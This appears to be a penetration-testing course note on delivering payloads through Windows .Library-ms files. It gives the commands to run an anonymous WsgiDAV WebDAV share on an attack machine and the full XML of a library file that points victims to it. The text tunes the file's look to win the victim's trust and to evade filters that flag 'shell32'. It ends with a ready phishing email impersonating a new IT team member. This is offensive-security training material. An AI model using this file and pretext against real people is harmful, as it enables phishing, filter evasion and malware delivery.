# Delivery via Windows Library Files

Windows library files are virtual containers for user content. They connect users with data stored in remote locations like web services or shares. These files have a **.Library-ms** file extension and can be executed by double-clicking them in Windows Explorer.

A majority of spam filters and security technologies will pass Windows library files directly to the user. When they double-click the file, Windows Explorer displays the contents of the remote location as if it were a local directory. In this case, the remote location is a WebDAV share on our attack machine. Overall, this is a relatively straightforward process and makes it seem as if the user is double-clicking a local file.

We'll use **WsgiDAV** as the **WebDAV** server to host and serve our files. We can use pip3 to install **WsgiDAV.**

```bash
──(kali㉿kali)-[~]
└─$ pip3 install wsgidav     
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
  Obtaining dependency information for wsgidav from https://files.pythonhosted.org/packages/15/5c/7a56c9c2e4a65b65138d505ba5b8554db1139b80d6f722e460e7a4e08aad/WsgiDAV-4.3.0-py3-none-any.whl.metadata
  Downloading WsgiDAV-4.3.0-py3-none-any.whl.metadata (6.9 kB)
Requirement already satisfied: defusedxml in /usr/lib/python3/dist-packages (from wsgidav) (0.7.1)
Requirement already satisfied: Jinja2 in /usr/lib/python3/dist-packages (from wsgidav) (3.1.2)
Collecting json5 (from wsgidav)
  Obtaining dependency information for json5 from https://files.pythonhosted.org/packages/70/ba/fa37123a86ae8287d6678535a944f9c3377d8165e536310ed6f6cb0f0c0e/json5-0.9.14-py2.py3-none-any.whl.metadata
  Downloading json5-0.9.14-py2.py3-none-any.whl.metadata (10 kB)
Requirement already satisfied: PyYAML in /usr/lib/python3/dist-packages (from wsgidav) (6.0.1)
Downloading WsgiDAV-4.3.0-py3-none-any.whl (173 kB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 173.4/173.4 kB 1.2 MB/s eta 0:00:00
Downloading json5-0.9.14-py2.py3-none-any.whl (19 kB)
Installing collected packages: json5, wsgidav
Successfully installed json5-0.9.14 wsgidav-4.3.0

```

> If the installation of WsgiDAV fails with error: externally-managed-environment, we can use a virtual environment3 or install the package python3-wsgidav with apt. In PEP 668,4 a change was introduced to enforce the use of virtual environments and prevent situations in which package installations via pip break the operating system.

Run WsgiDAV from the **/home/kali/.local/bin** directory. In the case that **WsgiDAV** was installed via apt, the installation path differs and **wsgidav** should be used as command to start the server throughout the course. The first parameter we'll provide is **--host**, which specifies the host to serve from. We'll listen on all interfaces with **0.0.0.0.** Next, we'll specify the listening port with **--port=80** and disable authentication to our share with **--auth=anonymous**. Finally, we'll set the root of the directory of our **WebDAV** share with **--root /home/kali/webdav/**.

```bash
┌──(kali㉿kali)-[~]
└─$ mkdir /home/kali/webdav
                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ touch /home/kali/webdav/test.txt
                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
```

<figure><img src="https://1846927083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mj9GKP_mf1AnaApJEIA%2Fuploads%2F0aKGuZHc2piciTzk712R%2Fimage.png?alt=media&#x26;token=012e0299-9ec8-47be-b5b8-4c3a8f6ffe4c" alt=""><figcaption></figcaption></figure>

We'll click on File > New Text File. We'll then save the empty file as **config.Library-ms**. As soon as we save the file with this file extension, it is displayed with an icon. While the icon doesn't look dangerous, it is not commonly used by Windows and therefore may raise suspicions. *To increase the chances that our victim will execute our file, let's change its appearance.*

Library files consist of three major parts and are written in XML to specify the parameters for accessing remote locations. The parts are **General library information**, **Library properties**, and **Library locations**. Let's build the XML code by adding and explain the tags. We can refer to the Library [Description Schema ](#user-content-fn-1)[^1]for further information. We'll begin by adding the XML and library file's format version.

The listing below contains the **namespace** for the library file. This is the namespace for the version of the library file format starting from Windows 7. The listing also contains the closing tag for the library description. All of the following tags we cover will be added inside the **libraryDescription** tags.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

</libraryDescription>
```

We'll add two tags providing information about the library. The **name tag** specifies the name of this library. We must not confuse this with an arbitrary name we can just set randomly. We need to specify the name of the library by providing a **DLL name and index**. We can use **@shell32.dll,-34575 or @windows.storage.dll,-34582** as specified on the **Microsoft website**. We'll use the latter to avoid any issues with text-based filters that may flag on **"shell32"**. The version tag can be set to a numerical value of our choice, for example, **6**.

```xml
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
```

Now, let's add the templateInfo13 tags, which contain the **folderType** tags. These tags determine the columns and details that appear in Windows Explorer by default after opening the library. We'll need to specify a **GUID** that we can look up on the **Microsoft documentation webpage**. For this example, we'll use the Documents GUID to appear as convincing as possible for the victim.

The next tag marks the beginning of the library locations section. In this section, we specify the storage location where our library file should point to. We'll begin by creating the **searchConnectorDescriptionList**, tag which contains a list of **search connectors** defined by searchConnectorDescription.18 Search connectors are used by library files to specify the connection settings to a remote location. We can specify one or more **searchConnectorDescription** elements inside the **searchConnectorDescriptionList** tags. For this example we only specify one.

Inside the description of the search connector, we'll specify information and parameters for our WebDAV share. The first tag we'll add is the **isDefaultSaveLocation** tag with the value set to true. This tag determines the behavior of Windows Explorer when a user chooses to save an item. To use the default behavior and location, we'll set it to true. Next, we'll add the **isSupported** tag, which is not documented in the **Microsoft Documentation webpage**, and is used for compatibility. We can set it to false.

The most important tag is url, which we need to point to our previously-created WebDAV share over HTTP. It is contained within the **simpleLocation** tags, which we can use to specify the remote location in a more user-friendly way as the normal **locationProvider** element.

```xml
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList
```

### Final Code

<pre><code><strong>&#x3C;?xml version="1.0" encoding="UTF-8"?>
</strong>&#x3C;libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
&#x3C;name>@windows.storage.dll,-34582&#x3C;/name>
&#x3C;version>6&#x3C;/version>
&#x3C;isLibraryPinned>true&#x3C;/isLibraryPinned>
&#x3C;iconReference>imageres.dll,-1003&#x3C;/iconReference>
&#x3C;templateInfo>
&#x3C;folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}&#x3C;/folderType>
&#x3C;/templateInfo>
&#x3C;searchConnectorDescriptionList>
&#x3C;searchConnectorDescription>
&#x3C;isDefaultSaveLocation>true&#x3C;/isDefaultSaveLocation>
&#x3C;isSupported>false&#x3C;/isSupported>
&#x3C;simpleLocation>
&#x3C;url>http://192.168.119.2&#x3C;/url>
&#x3C;/simpleLocation>
&#x3C;/searchConnectorDescription>
&#x3C;/searchConnectorDescriptionList>
&#x3C;/libraryDescription>

</code></pre>

When we re-open our file in Visual Studio Code, we find that a new tag appeared named **serialized**. The tag contains base64-encoded information about the location of the url tag. Additionally, the content inside the url tags has changed from **<http://192.168.119.2>** to **\192.168.119.2\DavWWWRoot**. Windows tries to optimize the WebDAV connection information for the Windows WebDAV client and therefore modifies it.

## Email PreText

```
Hello! My name is Dwight, and I'm a new member of the IT Team. 

This week I am completing some configurations we rolled out last week.
To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!

If you have any questions, or run into any problems, please let me
know!
```

[^1]: <https://docs.microsoft.com/en-us/windows/win32/shell/library-schema-entry>
